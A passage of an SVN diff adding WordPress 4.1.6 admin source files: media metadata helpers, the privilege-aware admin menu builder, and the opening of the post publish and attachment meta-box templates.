+	<div class="misc-pub-section misc-pub-dimensions">
+		<?php _e( 'Dimensions:' ); ?> <strong><?php echo $media_dims; ?></strong>
+	</div>
+<?php
+	endif;
+}
+
+add_filter( 'async_upload_image', 'get_media_item', 10, 2 );
+add_filter( 'async_upload_audio', 'get_media_item', 10, 2 );
+add_filter( 'async_upload_video', 'get_media_item', 10, 2 );
+add_filter( 'async_upload_file',  'get_media_item', 10, 2 );
+
+add_action( 'media_upload_image', 'wp_media_upload_handler' );
+add_action( 'media_upload_audio', 'wp_media_upload_handler' );
+add_action( 'media_upload_video', 'wp_media_upload_handler' );
+add_action( 'media_upload_file',  'wp_media_upload_handler' );
+
+add_filter( 'media_upload_gallery', 'media_upload_gallery' );
+add_filter( 'media_upload_library', 'media_upload_library' );
+
+add_action( 'attachment_submitbox_misc_actions', 'attachment_submitbox_metadata' );
+
+/**
+ * Parse ID3v2, ID3v1, and getID3 comments to extract usable data
+ *
+ * @since 3.6.0
+ *
+ * @param array $metadata An existing array with data
+ * @param array $data Data supplied by ID3 tags
+ */
+function wp_add_id3_tag_data( &$metadata, $data ) {
+	foreach ( array( 'id3v2', 'id3v1' ) as $version ) {
+		if ( ! empty( $data[$version]['comments'] ) ) {
+			foreach ( $data[$version]['comments'] as $key => $list ) {
+				if ( 'length' !== $key && ! empty( $list ) ) {
+					$metadata[$key] = reset( $list );
+					// Fix bug in byte stream analysis.
+					if ( 'terms_of_use' === $key && 0 === strpos( $metadata[$key], 'yright notice.' ) )
+						$metadata[$key] = 'Cop' . $metadata[$key];
+				}
+			}
+			break;
+		}
+	}
+
+	if ( ! empty( $data['id3v2']['APIC'] ) ) {
+		$image = reset( $data['id3v2']['APIC']);
+		if ( ! empty( $image['data'] ) ) {
+			$metadata['image'] = array(
+				'data' => $image['data'],
+				'mime' => $image['image_mime'],
+				'width' => $image['image_width'],
+				'height' => $image['image_height']
+			);
+		}
+	} elseif ( ! empty( $data['comments']['picture'] ) ) {
+		$image = reset( $data['comments']['picture'] );
+		if ( ! empty( $image['data'] ) ) {
+			$metadata['image'] = array(
+				'data' => $image['data'],
+				'mime' => $image['image_mime']
+			);
+		}
+	}
+}
+
+/**
+ * Retrieve metadata from a video file's ID3 tags
+ *
+ * @since 3.6.0
+ *
+ * @param string $file Path to file.
+ * @return array|bool Returns array of metadata, if found.
+ */
+function wp_read_video_metadata( $file ) {
+	if ( ! file_exists( $file ) )
+		return false;
+
+	$metadata = array();
+
+	if ( ! class_exists( 'getID3' ) )
+		require( ABSPATH . WPINC . '/ID3/getid3.php' );
+	$id3 = new getID3();
+	$data = $id3->analyze( $file );
+
+	if ( isset( $data['video']['lossless'] ) )
+		$metadata['lossless'] = $data['video']['lossless'];
+	if ( ! empty( $data['video']['bitrate'] ) )
+		$metadata['bitrate'] = (int) $data['video']['bitrate'];
+	if ( ! empty( $data['video']['bitrate_mode'] ) )
+		$metadata['bitrate_mode'] = $data['video']['bitrate_mode'];
+	if ( ! empty( $data['filesize'] ) )
+		$metadata['filesize'] = (int) $data['filesize'];
+	if ( ! empty( $data['mime_type'] ) )
+		$metadata['mime_type'] = $data['mime_type'];
+	if ( ! empty( $data['playtime_seconds'] ) )
+		$metadata['length'] = (int) round( $data['playtime_seconds'] );
+	if ( ! empty( $data['playtime_string'] ) )
+		$metadata['length_formatted'] = $data['playtime_string'];
+	if ( ! empty( $data['video']['resolution_x'] ) )
+		$metadata['width'] = (int) $data['video']['resolution_x'];
+	if ( ! empty( $data['video']['resolution_y'] ) )
+		$metadata['height'] = (int) $data['video']['resolution_y'];
+	if ( ! empty( $data['fileformat'] ) )
+		$metadata['fileformat'] = $data['fileformat'];
+	if ( ! empty( $data['video']['dataformat'] ) )
+		$metadata['dataformat'] = $data['video']['dataformat'];
+	if ( ! empty( $data['video']['encoder'] ) )
+		$metadata['encoder'] = $data['video']['encoder'];
+	if ( ! empty( $data['video']['codec'] ) )
+		$metadata['codec'] = $data['video']['codec'];
+
+	if ( ! empty( $data['audio'] ) ) {
+		unset( $data['audio']['streams'] );
+		$metadata['audio'] = $data['audio'];
+	}
+
+	wp_add_id3_tag_data( $metadata, $data );
+
+	return $metadata;
+}
+
+/**
+ * Retrieve metadata from a audio file's ID3 tags
+ *
+ * @since 3.6.0
+ *
+ * @param string $file Path to file.
+ * @return array|boolean Returns array of metadata, if found.
+ */
+function wp_read_audio_metadata( $file ) {
+	if ( ! file_exists( $file ) )
+		return false;
+	$metadata = array();
+
+	if ( ! class_exists( 'getID3' ) )
+		require( ABSPATH . WPINC . '/ID3/getid3.php' );
+	$id3 = new getID3();
+	$data = $id3->analyze( $file );
+
+	if ( ! empty( $data['audio'] ) ) {
+		unset( $data['audio']['streams'] );
+		$metadata = $data['audio'];
+	}
+
+	if ( ! empty( $data['fileformat'] ) )
+		$metadata['fileformat'] = $data['fileformat'];
+	if ( ! empty( $data['filesize'] ) )
+		$metadata['filesize'] = (int) $data['filesize'];
+	if ( ! empty( $data['mime_type'] ) )
+		$metadata['mime_type'] = $data['mime_type'];
+	if ( ! empty( $data['playtime_seconds'] ) )
+		$metadata['length'] = (int) round( $data['playtime_seconds'] );
+	if ( ! empty( $data['playtime_string'] ) )
+		$metadata['length_formatted'] = $data['playtime_string'];
+
+	wp_add_id3_tag_data( $metadata, $data );
+
+	return $metadata;
+}
Index: /tags/4.1.6/src/wp-admin/includes/menu.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/menu.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/menu.php	(revision 33402)
@@ -0,0 +1,322 @@
+<?php
+/**
+ * Build Administration Menu.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+if ( is_network_admin() ) {
+
+	/**
+	 * Fires before the administration menu loads in the Network Admin.
+	 *
+	 * The hook fires before menus and sub-menus are removed based on user privileges.
+	 *
+	 * @private
+	 * @since 3.1.0
+	 */
+	do_action( '_network_admin_menu' );
+} elseif ( is_user_admin() ) {
+
+	/**
+	 * Fires before the administration menu loads in the User Admin.
+	 *
+	 * The hook fires before menus and sub-menus are removed based on user privileges.
+	 *
+	 * @private
+	 * @since 3.1.0
+	 */
+	do_action( '_user_admin_menu' );
+} else {
+
+	/**
+	 * Fires before the administration menu loads in the admin.
+	 *
+	 * The hook fires before menus and sub-menus are removed based on user privileges.
+	 *
+	 * @private
+	 * @since 2.2.0
+	 */
+	do_action( '_admin_menu' );
+}
+
+// Create list of page plugin hook names.
+foreach ($menu as $menu_page) {
+	if ( false !== $pos = strpos($menu_page[2], '?') ) {
+		// Handle post_type=post|page|foo pages.
+		$hook_name = substr($menu_page[2], 0, $pos);
+		$hook_args = substr($menu_page[2], $pos + 1);
+		wp_parse_str($hook_args, $hook_args);
+		// Set the hook name to be the post type.
+		if ( isset($hook_args['post_type']) )
+			$hook_name = $hook_args['post_type'];
+		else
+			$hook_name = basename($hook_name, '.php');
+		unset($hook_args);
+	} else {
+		$hook_name = basename($menu_page[2], '.php');
+	}
+	$hook_name = sanitize_title($hook_name);
+
+	if ( isset($compat[$hook_name]) )
+		$hook_name = $compat[$hook_name];
+	elseif ( !$hook_name )
+		continue;
+
+	$admin_page_hooks[$menu_page[2]] = $hook_name;
+}
+unset($menu_page, $compat);
+
+$_wp_submenu_nopriv = array();
+$_wp_menu_nopriv = array();
+// Loop over submenus and remove pages for which the user does not have privs.
+foreach ($submenu as $parent => $sub) {
+	foreach ($sub as $index => $data) {
+		if ( ! current_user_can($data[1]) ) {
+			unset($submenu[$parent][$index]);
+			$_wp_submenu_nopriv[$parent][$data[2]] = true;
+		}
+	}
+	unset($index, $data);
+
+	if ( empty($submenu[$parent]) )
+		unset($submenu[$parent]);
+}
+unset($sub, $parent);
+
+/*
+ * Loop over the top-level menu.
+ * Menus for which the original parent is not accessible due to lack of privileges
+ * will have the next submenu in line be assigned as the new menu parent.
+ */
+foreach ( $menu as $id => $data ) {
+	if ( empty($submenu[$data[2]]) )
+		continue;
+	$subs = $submenu[$data[2]];
+	$first_sub = array_shift($subs);
+	$old_parent = $data[2];
+	$new_parent = $first_sub[2];
+	/*
+	 * If the first submenu is not the same as the assigned parent,
+	 * make the first submenu the new parent.
+	 */
+	if ( $new_parent != $old_parent ) {
+		$_wp_real_parent_file[$old_parent] = $new_parent;
+		$menu[$id][2] = $new_parent;
+
+		foreach ($submenu[$old_parent] as $index => $data) {
+			$submenu[$new_parent][$index] = $submenu[$old_parent][$index];
+			unset($submenu[$old_parent][$index]);
+		}
+		unset($submenu[$old_parent], $index);
+
+		if ( isset($_wp_submenu_nopriv[$old_parent]) )
+			$_wp_submenu_nopriv[$new_parent] = $_wp_submenu_nopriv[$old_parent];
+	}
+}
+unset($id, $data, $subs, $first_sub, $old_parent, $new_parent);
+
+if ( is_network_admin() ) {
+
+	/**
+	 * Fires before the administration menu loads in the Network Admin.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $context Empty context.
+	 */
+	do_action( 'network_admin_menu', '' );
+} elseif ( is_user_admin() ) {
+
+	/**
+	 * Fires before the administration menu loads in the User Admin.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $context Empty context.
+	 */
+	do_action( 'user_admin_menu', '' );
+} else {
+
+	/**
+	 * Fires before the administration menu loads in the admin.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $context Empty context.
+	 */
+	do_action( 'admin_menu', '' );
+}
+
+/*
+ * Remove menus that have no accessible submenus and require privileges
+ * that the user does not have. Run re-parent loop again.
+ */
+foreach ( $menu as $id => $data ) {
+	if ( ! current_user_can($data[1]) )
+		$_wp_menu_nopriv[$data[2]] = true;
+
+	/*
+	 * If there is only one submenu and it is has same destination as the parent,
+	 * remove the submenu.
+	 */
+	if ( ! empty( $submenu[$data[2]] ) && 1 == count ( $submenu[$data[2]] ) ) {
+		$subs = $submenu[$data[2]];
+		$first_sub = array_shift($subs);
+		if ( $data[2] == $first_sub[2] )
+			unset( $submenu[$data[2]] );
+	}
+
+	// If submenu is empty...
+	if ( empty($submenu[$data[2]]) ) {
+		// And user doesn't have privs, remove menu.
+		if ( isset( $_wp_menu_nopriv[$data[2]] ) ) {
+			unset($menu[$id]);
+		}
+	}
+}
+unset($id, $data, $subs, $first_sub);
+
+// Remove any duplicated separators
+$separator_found = false;
+foreach ( $menu as $id => $data ) {
+	if ( 0 == strcmp('wp-menu-separator', $data[4] ) ) {
+		if (false == $separator_found) {
+			$separator_found = true;
+		} else {
+			unset($menu[$id]);
+			$separator_found = false;
+		}
+	} else {
+		$separator_found = false;
+	}
+}
+unset($id, $data);
+
+function add_cssclass($add, $class) {
+	$class = empty($class) ? $add : $class .= ' ' . $add;
+	return $class;
+}
+
+function add_menu_classes($menu) {
+
+	$first = $lastorder = false;
+	$i = 0;
+	$mc = count($menu);
+	foreach ( $menu as $order => $top ) {
+		$i++;
+
+		if ( 0 == $order ) { // dashboard is always shown/single
+			$menu[0][4] = add_cssclass('menu-top-first', $top[4]);
+			$lastorder = 0;
+			continue;
+		}
+
+		if ( 0 === strpos($top[2], 'separator') && false !== $lastorder ) { // if separator
+			$first = true;
+			$c = $menu[$lastorder][4];
+			$menu[$lastorder][4] = add_cssclass('menu-top-last', $c);
+			continue;
+		}
+
+		if ( $first ) {
+			$c = $menu[$order][4];
+			$menu[$order][4] = add_cssclass('menu-top-first', $c);
+			$first = false;
+		}
+
+		if ( $mc == $i ) { // last item
+			$c = $menu[$order][4];
+			$menu[$order][4] = add_cssclass('menu-top-last', $c);
+		}
+
+		$lastorder = $order;
+	}
+
+	/**
+	 * Filter administration menus array with classes added for top-level items.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $menu Associative array of administration menu items.
+	 */
+	return apply_filters( 'add_menu_classes', $menu );
+}
+
+uksort($menu, "strnatcasecmp"); // make it all pretty
+
+/**
+ * Filter whether to enable custom ordering of the administration menu.
+ *
+ * See the 'menu_order' filter for reordering menu items.
+ *
+ * @since 2.8.0
+ *
+ * @param bool $custom Whether custom ordering is enabled. Default false.
+ */
+if ( apply_filters( 'custom_menu_order', false ) ) {
+	$menu_order = array();
+	foreach ( $menu as $menu_item ) {
+		$menu_order[] = $menu_item[2];
+	}
+	unset($menu_item);
+	$default_menu_order = $menu_order;
+
+	/**
+	 * Filter the order of administration menu items.
+	 *
+	 * A truthy value must first be passed to the 'custom_menu_order' filter
+	 * for this filter to work. Use the following to enable custom menu ordering:
+	 *
+	 *     add_filter( 'custom_menu_order', '__return_true' );
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $menu_order An ordered array of menu items.
+	 */
+	$menu_order = apply_filters( 'menu_order', $menu_order );
+	$menu_order = array_flip($menu_order);
+	$default_menu_order = array_flip($default_menu_order);
+
+	function sort_menu($a, $b) {
+		global $menu_order, $default_menu_order;
+		$a = $a[2];
+		$b = $b[2];
+		if ( isset($menu_order[$a]) && !isset($menu_order[$b]) ) {
+			return -1;
+		} elseif ( !isset($menu_order[$a]) && isset($menu_order[$b]) ) {
+			return 1;
+		} elseif ( isset($menu_order[$a]) && isset($menu_order[$b]) ) {
+			if ( $menu_order[$a] == $menu_order[$b] )
+				return 0;
+			return ($menu_order[$a] < $menu_order[$b]) ? -1 : 1;
+		} else {
+			return ($default_menu_order[$a] <= $default_menu_order[$b]) ? -1 : 1;
+		}
+	}
+
+	usort($menu, 'sort_menu');
+	unset($menu_order, $default_menu_order);
+}
+
+// Remove the last menu item if it is a separator.
+$last_menu_key = array_keys( $menu );
+$last_menu_key = array_pop( $last_menu_key );
+if ( !empty( $menu ) && 'wp-menu-separator' == $menu[ $last_menu_key ][ 4 ] )
+	unset( $menu[ $last_menu_key ] );
+unset( $last_menu_key );
+
+if ( !user_can_access_admin_page() ) {
+
+	/**
+	 * Fires when access to an admin page is denied.
+	 *
+	 * @since 2.5.0
+	 */
+	do_action( 'admin_page_access_denied' );
+
+	wp_die( __('You do not have sufficient permissions to access this page.') );
+}
+
+$menu = add_menu_classes($menu);
Index: /tags/4.1.6/src/wp-admin/includes/meta-boxes.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/meta-boxes.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/meta-boxes.php	(revision 33402)
@@ -0,0 +1,1131 @@
+<?php
+
+// -- Post related Meta Boxes
+
+/**
+ * Display post submit form fields.
+ *
+ * @since 2.7.0
+ *
+ * @param object $post
+ */
+function post_submit_meta_box($post, $args = array() ) {
+	global $action;
+
+	$post_type = $post->post_type;
+	$post_type_object = get_post_type_object($post_type);
+	$can_publish = current_user_can($post_type_object->cap->publish_posts);
+?>
+<div class="submitbox" id="submitpost">
+
+<div id="minor-publishing">
+
+<?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key ?>
+<div style="display:none;">
+<?php submit_button( __( 'Save' ), 'button', 'save' ); ?>
+</div>
+
+<div id="minor-publishing-actions">
+<div id="save-action">
+<?php if ( 'publish' != $post->post_status && 'future' != $post->post_status && 'pending' != $post->post_status ) { ?>
+<input <?php if ( 'private' == $post->post_status ) { ?>style="display:none"<?php } ?> type="submit" name="save" id="save-post" value="<?php esc_attr_e('Save Draft'); ?>" class="button" />
+<?php } elseif ( 'pending' == $post->post_status && $can_publish ) { ?>
+<input type="submit" name="save" id="save-post" value="<?php esc_attr_e('Save as Pending'); ?>" class="button" />
+<?php } ?>
+<span class="spinner"></span>
+</div>
+<?php if ( $post_type_object->public ) : ?>
+<div id="preview-action">
+<?php
+if ( 'publish' == $post->post_status ) {
+	$preview_link = esc_url( get_permalink( $post->ID ) );
+	$preview_button = __( 'Preview Changes' );
+} else {
+	$preview_link = set_url_scheme( get_permalink( $post->ID ) );
+
+	/**
+	 * Filter the URI of a post preview in the post submit box.
+	 *
+	 * @since 2.0.5
+	 * @since 4.0.0 $post parameter was added.
+	 *
+	 * @param string  $preview_link URI the user will be directed to for a post preview.
+	 * @param WP_Post $post         Post object.
+	 */
+	$preview_link = esc_url( apply_filters( 'preview_post_link', add_query_arg( 'preview', 'true', $preview_link ), $post ) );
+	$preview_button = __( 'Preview' );
+}
+?>
+<a class="preview button" href="<?php echo $preview_link; ?>" target="wp-preview-<?php echo (int) $post->ID; ?>" id="post-preview"><?php echo $preview_button; ?></a>
+<input type="hidden" name="wp-preview" id="wp-preview" value="" />
+</div>
+<?php endif; // public post type ?>
+<div class="clear"></div>
+</div><!-- #minor-publishing-actions -->
+
+<div id="misc-publishing-actions">
+
+<div class="misc-pub-section misc-pub-post-status"><label for="post_status"><?php _e('Status:') ?></label>
+<span id="post-status-display">
+<?php
+switch ( $post->post_status ) {
+	case 'private':
+		_e('Privately Published');
+		break;
+	case 'publish':
+		_e('Published');
+		break;
+	case 'future':
+		_e('Scheduled');
+		break;
+	case 'pending':
+		_e('Pending Review');
+		break;
+	case 'draft':
+	case 'auto-draft':
+		_e('Draft');
+		break;
+}
+?>
+</span>
+<?php if ( 'publish' == $post->post_status || 'private' == $post->post_status || $can_publish ) { ?>
+<a href="#post_status" <?php if ( 'private' == $post->post_status ) { ?>style="display:none;" <?php } ?>class="edit-post-status hide-if-no-js"><span aria-hidden="true"><?php _e( 'Edit' ); ?></span> <span class="screen-reader-text"><?php _e( 'Edit status' ); ?></span></a>
+
+<div id="post-status-select" class="hide-if-js">
+<input type="hidden" name="hidden_post_status" id="hidden_post_status" value="<?php echo esc_attr( ('auto-draft' == $post->post_status ) ? 'draft' : $post->post_status); ?>" />
+<select name='post_status' id='post_status'>
+<?php if ( 'publish' == $post->post_status ) : ?>
+<option<?php selected( $post->post_status, 'publish' ); ?> value='publish'><?php _e('Published') ?></option>
+<?php elseif ( 'private' == $post->post_status ) : ?>
+<option<?php selected( $post->post_status, 'private' ); ?> value='publish'><?php _e('Privately Published') ?></option>
+<?php elseif ( 'future' == $post->post_status ) : ?>
+<option<?php selected( $post->post_status, 'future' ); ?> value='future'><?php _e('Scheduled') ?></option>
+<?php endif; ?>
+<option<?php selected( $post->post_status, 'pending' ); ?> value='pending'><?php _e('Pending Review') ?></option>
+<?php if ( 'auto-draft' == $post->post_status ) : ?>
+<option<?php selected( $post->post_status, 'auto-draft' ); ?> value='draft'><?php _e('Draft') ?></option>
+<?php else : ?>
+<option<?php selected( $post->post_status, 'draft' ); ?> value='draft'><?php _e('Draft') ?></option>
+<?php endif; ?>
+</select>
+ <a href="#post_status" class="save-post-status hide-if-no-js button"><?php _e('OK'); ?></a>
+ <a href="#post_status" class="cancel-post-status hide-if-no-js button-cancel"><?php _e('Cancel'); ?></a>
+</div>
+
+<?php } ?>
+</div><!-- .misc-pub-section -->
+
+<div class="misc-pub-section misc-pub-visibility" id="visibility">
+<?php _e('Visibility:'); ?> <span id="post-visibility-display"><?php
+
+if ( 'private' == $post->post_status ) {
+	$post->post_password = '';
+	$visibility = 'private';
+	$visibility_trans = __('Private');
+} elseif ( !empty( $post->post_password ) ) {
+	$visibility = 'password';
+	$visibility_trans = __('Password protected');
+} elseif ( $post_type == 'post' && is_sticky( $post->ID ) ) {
+	$visibility = 'public';
+	$visibility_trans = __('Public, Sticky');
+} else {
+	$visibility = 'public';
+	$visibility_trans = __('Public');
+}
+
+echo esc_html( $visibility_trans ); ?></span>
+<?php if ( $can_publish ) { ?>
+<a href="#visibility" class="edit-visibility hide-if-no-js"><span aria-hidden="true"><?php _e( 'Edit' ); ?></span> <span class="screen-reader-text"><?php _e( 'Edit visibility' ); ?></span></a>
+
+<div id="post-visibility-select" class="hide-if-js">
+<input type="hidden" name="hidden_post_password" id="hidden-post-password" value="<?php echo esc_attr($post->post_password); ?>" />
+<?php if ($post_type == 'post'): ?>
+<input type="checkbox" style="display:none" name="hidden_post_sticky" id="hidden-post-sticky" value="sticky" <?php checked(is_sticky($post->ID)); ?> />
+<?php endif; ?>
+<input type="hidden" name="hidden_post_visibility" id="hidden-post-visibility" value="<?php echo esc_attr( $visibility ); ?>" />
+<input type="radio" name="visibility" id="visibility-radio-public" value="public" <?php checked( $visibility, 'public' ); ?> /> <label for="visibility-radio-public" class="selectit"><?php _e('Public'); ?></label><br />
+<?php if ( $post_type == 'post' && current_user_can( 'edit_others_posts' ) ) : ?>
+<span id="sticky-span"><input id="sticky" name="sticky" type="checkbox" value="sticky" <?php checked( is_sticky( $post->ID ) ); ?> /> <label for="sticky" class="selectit"><?php _e( 'Stick this post to the front page' ); ?></label><br /></span>
+<?php endif; ?>
+<input type="radio" name="visibility" id="visibility-radio-password" value="password" <?php checked( $visibility, 'password' ); ?> /> <label for="visibility-radio-password" class="selectit"><?php _e('Password protected'); ?></label><br />
+<span id="password-span"><label for="post_password"><?php _e('Password:'); ?></label> <input type="text" name="post_password" id="post_password" value="<?php echo esc_attr($post->post_password); ?>"  maxlength="20" /><br /></span>
+<input type="radio" name="visibility" id="visibility-radio-private" value="private" <?php checked( $visibility, 'private' ); ?> /> <label for="visibility-radio-private" class="selectit"><?php _e('Private'); ?></label><br />
+
+<p>
+ <a href="#visibility" class="save-post-visibility hide-if-no-js button"><?php _e('OK'); ?></a>
+ <a href="#visibility" class="cancel-post-visibility hide-if-no-js button-cancel"><?php _e('Cancel'); ?></a>
+</p>
+</div>
+<?php } ?>
+
+</div><!-- .misc-pub-section -->
+
+<?php
+/* translators: Publish box date format, see http://php.net/date */
+$datef = __( 'M j, Y @ G:i' );
+if ( 0 != $post->ID ) {
+	if ( 'future' == $post->post_status ) { // scheduled for publishing at a future date
+		$stamp = __('Scheduled for: <b>%1$s</b>');
+	} else if ( 'publish' == $post->post_status || 'private' == $post->post_status ) { // already published
+		$stamp = __('Published on: <b>%1$s</b>');
+	} else if ( '0000-00-00 00:00:00' == $post->post_date_gmt ) { // draft, 1 or more saves, no date specified
+		$stamp = __('Publish <b>immediately</b>');
+	} else if ( time() < strtotime( $post->post_date_gmt . ' +0000' ) ) { // draft, 1 or more saves, future date specified
+		$stamp = __('Schedule for: <b>%1$s</b>');
+	} else { // draft, 1 or more saves, date specified
+		$stamp = __('Publish on: <b>%1$s</b>');
+	}
+	$date = date_i18n( $datef, strtotime( $post->post_date ) );
+} else { // draft (no saves, and thus no date specified)
+	$stamp = __('Publish <b>immediately</b>');
+	$date = date_i18n( $datef, strtotime( current_time('mysql') ) );
+}
+
+if ( ! empty( $args['args']['revisions_count'] ) ) :
+	$revisions_to_keep = wp_revisions_to_keep( $post );
+?>
+<div class="misc-pub-section misc-pub-revisions">
+<?php
+	if ( $revisions_to_keep > 0 && $revisions_to_keep <= $args['args']['revisions_count'] ) {
+		echo '<span title="' . esc_attr( sprintf( __( 'Your site is configured to keep only the last %s revisions.' ),
+			number_format_i18n( $revisions_to_keep ) ) ) . '">';
+		printf( __( 'Revisions: %s' ), '<b>' . number_format_i18n( $args['args']['revisions_count'] ) . '+</b>' );
+		echo '</span>';
+	} else {
+		printf( __( 'Revisions: %s' ), '<b>' . number_format_i18n( $args['args']['revisions_count'] ) . '</b>' );
+	}
+?>
+	<a class="hide-if-no-js" href="<?php echo esc_url( get_edit_post_link( $args['args']['revision_id'] ) ); ?>"><span aria-hidden="true"><?php _ex( 'Browse', 'revisions' ); ?></span> <span class="screen-reader-text"><?php _e( 'Browse revisions' ); ?></span></a>
+</div>
+<?php endif;
+
+if ( $can_publish ) : // Contributors don't get to choose the date of publish ?>
+<div class="misc-pub-section curtime misc-pub-curtime">
+	<span id="timestamp">
+	<?php printf($stamp, $date); ?></span>
+	<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js"><span aria-hidden="true"><?php _e( 'Edit' ); ?></span> <span class="screen-reader-text"><?php _e( 'Edit date and time' ); ?></span></a>
+	<div id="timestampdiv" class="hide-if-js"><?php touch_time(($action == 'edit'), 1); ?></div>
+</div><?php // /misc-pub-section ?>
+<?php endif; ?>
+
+<?php
+/**
+ * Fires after the post time/date setting in the Publish meta box.
+ *
+ * @since 2.9.0
+ */
+do_action( 'post_submitbox_misc_actions' );
+?>
+</div>
+<div class="clear"></div>
+</div>
+
+<div id="major-publishing-actions">
+<?php
+/**
+ * Fires at the beginning of the publishing actions section of the Publish meta box.
+ *
+ * @since 2.7.0
+ */
+do_action( 'post_submitbox_start' );
+?>
+<div id="delete-action">
+<?php
+if ( current_user_can( "delete_post", $post->ID ) ) {
+	if ( !EMPTY_TRASH_DAYS )
+		$delete_text = __('Delete Permanently');
+	else
+		$delete_text = __('Move to Trash');
+	?>
+<a class="submitdelete deletion" href="<?php echo get_delete_post_link($post->ID); ?>"><?php echo $delete_text; ?></a><?php
+} ?>
+</div>
+
+<div id="publishing-action">
+<span class="spinner"></span>
+<?php
+if ( !in_array( $post->post_status, array('publish', 'future', 'private') ) || 0 == $post->ID ) {
+	if ( $can_publish ) :
+		if ( !empty($post->post_date_gmt) && time() < strtotime( $post->post_date_gmt . ' +0000' ) ) : ?>
+		<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Schedule') ?>" />
+		<?php submit_button( __( 'Schedule' ), 'primary button-large', 'publish', false, array( 'accesskey' => 'p' ) ); ?>
+<?php	else : ?>
+		<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Publish') ?>" />
+		<?php submit_button( __( 'Publish' ), 'primary button-large', 'publish', false, array( 'accesskey' => 'p' ) ); ?>
+<?php	endif;
+	else : ?>
+		<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Submit for Review') ?>" />
+		<?php submit_button( __( 'Submit for Review' ), 'primary button-large', 'publish', false, array( 'accesskey' => 'p' ) ); ?>
+<?php
+	endif;
+} else { ?>
+		<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Update') ?>" />
+		<input name="save" type="submit" class="button button-primary button-large" id="publish" accesskey="p" value="<?php esc_attr_e('Update') ?>" />
+<?php
+} ?>
+</div>
+<div class="clear"></div>
+</div>
+</div>
+
+<?php
+}
+
+/**
+ * Display attachment submit form fields.
+ *
+ * @since 3.5.0
+ *
+ * @param object $post
+ */
+function attachment_submit_meta_box( $post ) {
+?>
+<div class="submitbox" id="submitpost">
+
+<div id="minor-publishing">
+
+<?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key ?>
+<div style="display:none;">
+<?php submit_button( __( 'Save' ), 'button', 'save' ); ?>
+</div>
+
+
+<div id="misc-publishing-actions">
+	<?php
+	/* translators: Publish box date format, see http://php.net/date */
+	$datef = __( 'M j, Y @ G:i' );
+	$stamp = __('Uploaded on: <b>%1$s</b>');
+	$date = date_i18n( $datef, strtotime( $post->post_date ) );
+	?>
+	<div class="misc-pub-section curtime misc-pub-curtime">
+		<span id="timestamp"><?php printf($stamp, $date); ?></span>
+	</div><!-- .misc-pub-section -->
+
+	<?php
+	/**
+	 * Fires after the 'Uploaded on' section of the Save meta box
+	 * in the attachment editing screen.
+	 *
+	 * @since 3.5.0
+	 */
+	do_action( 'attachment_submitbox_misc_actions' );
+	?>
+</div><!-- #misc-publishing-actions -->
+<div class="clear"></div>
+</div><!-- #minor-publishing -->
+
+<div id="major-publishing-actions">
+	<div id="delete-action">
+	<?php
+	if ( current_user_can( 'delete_post', $post->ID ) )
+		if ( EMPTY_TRASH_DAYS && MEDIA_TRASH ) {
+			echo "<a class='submitdelete deletion' href='" . get_delete_post_link( $post->ID ) . "'>" . __( 'Trash' ) . "</a>";
+		} else {
+			$delete_ays = ! MEDIA_TRASH ? " onclick='return showNotice.warn();'" : '';
+			echo  "<a class='submitdelete deletion'$delete_ays href='" . get_delete_post_link( $post->ID, null, true ) . "'>" . __( 'Delete Permanently' ) . "</a>";
+		}
+	?>
+	</div>
+
+	<div id="publishing-action">
+		<span class="spinner"></span>
+		<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Update') ?>" />
+		<input name="save" type="submit" class="button-primary button-large" id="publish" accesskey="p" value="<?php esc_attr_e('Update') ?>" />
+	</div>
+	<div class="clear"></div>
+</div><!-- #major-publishing-actions -->
+
+</div>
+
+<?php
+}
+
+/**
+ * Display post format form elements.
+ *
+ * @since 3.1.0
+ *
+ * @param WP_Post $post Post object.
+ * @param array   $box {
+ *     Post formats meta box arguments.
+ *
+ *     @type string   $id       Meta box ID.
+ *     @type string   $title    Meta box title.
+ *     @type callback $callback Meta box display callback.
+ *     @type array    $args     Extra meta box arguments.
+ * }
+ */
+function post_format_meta_box( $post, $box ) {
+	if ( current_theme_supports( 'post-formats' ) && post_type_supports( $post->post_type, 'post-formats' ) ) :
+	$post_formats = get_theme_support( 'post-formats' );
+
+	if ( is_array( $post_formats[0] ) ) :
+		$post_format = get_post_format( $post->ID );
+		if ( !$post_format )
+			$post_format = '0';
+		// Add in the current one if it isn't there yet, in case the current theme doesn't support it
+		if ( $post_format && !in_array( $post_format, $post_formats[0] ) )
+			$post_formats[0][] = $post_format;
+	?>
+	<div id="post-formats-select">
+		<input type="radio" name="post_format" class="post-format" id="post-format-0" value="0" <?php checked( $post_format, '0' ); ?> /> <label for="post-format-0" class="post-format-icon post-format-standard"><?php echo get_post_format_string( 'standard' ); ?></label>
+		<?php foreach ( $post_formats[0] as $format ) : ?>
+		<br /><input type="radio" name="post_format" class="post-format" id="post-format-<?php echo esc_attr( $format ); ?>" value="<?php echo esc_attr( $format ); ?>" <?php checked( $post_format, $format ); ?> /> <label for="post-format-<?php echo esc_attr( $format ); ?>" class="post-format-icon post-format-<?php echo esc_attr( $format ); ?>"><?php echo esc_html( get_post_format_string( $format ) ); ?></label>
+		<?php endforeach; ?><br />
+	</div>
+	<?php endif; endif;
+}
+
+/**
+ * Display post tags form fields.
+ *
+ * @since 2.6.0
+ *
+ * @todo Create taxonomy-agnostic wrapper for this.
+ *
+ * @param WP_Post $post Post object.
+ * @param array   $box {
+ *     Tags meta box arguments.
+ *
+ *     @type string   $id       Meta box ID.
+ *     @type string   $title    Meta box title.
